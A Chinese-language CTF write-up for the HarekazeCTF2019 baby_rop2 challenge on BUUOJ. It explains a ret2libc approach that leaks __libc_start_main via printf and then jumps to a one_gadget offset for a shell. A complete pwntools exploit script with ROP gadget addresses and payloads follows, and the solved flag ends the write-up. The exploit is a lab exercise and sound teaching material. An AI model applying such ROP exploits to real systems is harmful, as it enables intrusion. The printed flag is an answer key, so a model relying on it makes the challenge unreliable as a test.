记录一下在题目中one_gadget的使用, one_gadget永远滴神.
0x01 题目地址
https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop2
0x02 开始梭哈
题目给了一个babyrop2
和一个libc.so.6
, 先分析一下这个babyrop2
.
babyrop2
程序就一个输入点
打算使用printf
函数泄露出__libc_start_main
的地址. (确实没有找到合适泄露的函数, 只能这个了…)
也就是要构造一个printf("%s", __libc_start_main的got地址)
先找到%s
截取到%s
开始, 也就是
__libc_start_main
的got
就不用多说了.
接下来从libc.so.6
里面得到一些信息
libc.so.6
我们要从这个文件中得到one_gadget
, 需要借助一个工具, 就叫one_gadget
.
one_gadget
是什么呢? 就是我们以往做ROP
需要泄露地址然后拿到真实的system
函数以及bin_sh
字符串的地址构造ROP
, 但是当有了one_gadget
, 就可以直接返回到这个地址拿到shell
.
0x03 exp
from pwn import *
p = process("./babyrop2")
# p = remote("node3.buuoj.cn", 29305)
elf = ELF("./babyrop2")
libc = elf.libc
# var
overflow = 0x20 + 8
format_string = 0x400790
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
printf_plt = elf.plt["printf"]
libc_start_main_got = elf.got["__libc_start_main"]
main_addr = elf.sym["main"]
payload = "A" * overflow
payload += p64(pop_rdi) + p64(format_string)
payload += p64(pop_rsi_r15) + p64(libc_start_main_got) + p64(0)
payload += p64(printf_plt) + p64(main_addr)
p.sendline(payload)
leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\0"))
success("libc_start_main: {}".format(hex(leak_addr)))
libc_base = leak_addr - libc.sym["__libc_start_main"]
payload = "A" * overflow
payload += p64(libc_base + 0x45216)
p.sendline(payload)
p.interactive()
emm, 这题目flag
竟然没放到根目录, 还要找一下才可以QAQ
flag{23d424ad-f38b-4a47-a60f-41ca5c19fb88}